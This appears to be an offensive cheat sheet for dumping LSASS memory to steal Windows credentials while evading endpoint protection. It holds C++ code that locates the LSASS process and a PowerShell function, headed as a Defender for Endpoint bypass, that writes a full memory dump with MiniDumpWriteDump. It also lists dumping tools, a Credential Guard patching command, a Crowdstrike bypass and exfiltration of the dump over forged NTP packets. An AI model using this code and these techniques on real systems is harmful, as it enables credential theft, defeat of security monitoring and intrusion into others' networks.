tasklist /v to enumerate LSASS PID is detected by EDR
FindLSASSPID.cpp
// Find PID of a process by name
int FindPID(const char* procname)
{
int pid= 0;
PROCESSENTRY32 proc = {};
proc.dwSize= sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);bool bProc= Process32First(snapshot, &proc);
while (bProc)
{
if (strcmp(procname, proc.szExeFile) == 0)
{
pid= proc.th32ProcessID;
break;
}
bProc= Process32Next(snapshot, &proc);
}
return pid;
}
Nanodump
POSTDump
Powershell - Bypass Defender for Endpoint
function Write-MemoryDump {
param(
[string]$outputPath
)
$processId = Get-ProcessId
if (-not $processId) { return $false }
try {
# Open target process
$processHandle = [System.Diagnostics.Process]::GetProcessById($processId).Handle
if (-not $processHandle) {
Write-Host “Failed to open target process with PID: $processId”
return $false
}
Write-Host “Successfully opened target process with PID: $processId”
# Create dump file
$fileStream = [System.IO.File]::Open($outputPath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write)
$fileHandle = $fileStream.SafeFileHandle.DangerousGetHandle()
Write-Host “Dump file created at $outputPath”
# Write memory dump
$success = [DumpGenerator]::MiniDumpWriteDump(
$processHandle,
[uint32]$processId,
$fileHandle,
[uint32]$FullMemoryDump,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero
)
# Close file stream and release process handle
$fileStream.Close()
[System.Runtime.InteropServices.Marshal]::Release($processHandle)
if ($success) {
Write-Host “Memory dump successfully written to $outputPath”
return $true
} else {
Write-Host “Failed to write memory dump.”
return $false
}
} catch {
Write-Host “An error occurred: $_”
return $false
}
}
Lsass-Shtinkering
Works on Windows 10, Server 2022 - Not working on Server 2019
Go-lsass
Blindsight
AxiomDumper
Bypass Credential Guard
Credential Guard is a virtualization-based isolation technology for LSASS which prevents attackers from stealing credentials that could be used for pass the hash attacks.
NativeBypassCredGuard.exe patch true
Then run your LSASS dump
LSASS Forked Dump - Bypass Crowdstrike EDR
Morpheus
Extracts lsass.exe in RAM and exfiltrates it via forged NTP packets.
